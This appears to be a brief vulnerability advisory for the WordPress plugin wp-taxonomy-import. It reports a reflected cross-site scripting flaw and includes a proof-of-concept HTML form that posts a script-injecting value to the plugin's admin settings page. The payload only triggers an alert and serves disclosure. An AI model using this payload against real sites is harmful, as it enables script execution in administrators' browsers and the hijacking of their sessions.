The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting
<html>
<body>
<form method="post" action="https://example.com/wp-admin/options-general.php?page=wp-taxonomy-import%2Fwp-taxonomy-import.php">
<input id="bulkCategoryList" type="text" name="bulkCategoryList" value="</textarea><script>alert(/XSS/)</script>" />
<input id="postsubmit" type="submit" name="submait" value="submit" />
</form>
</body>
</html>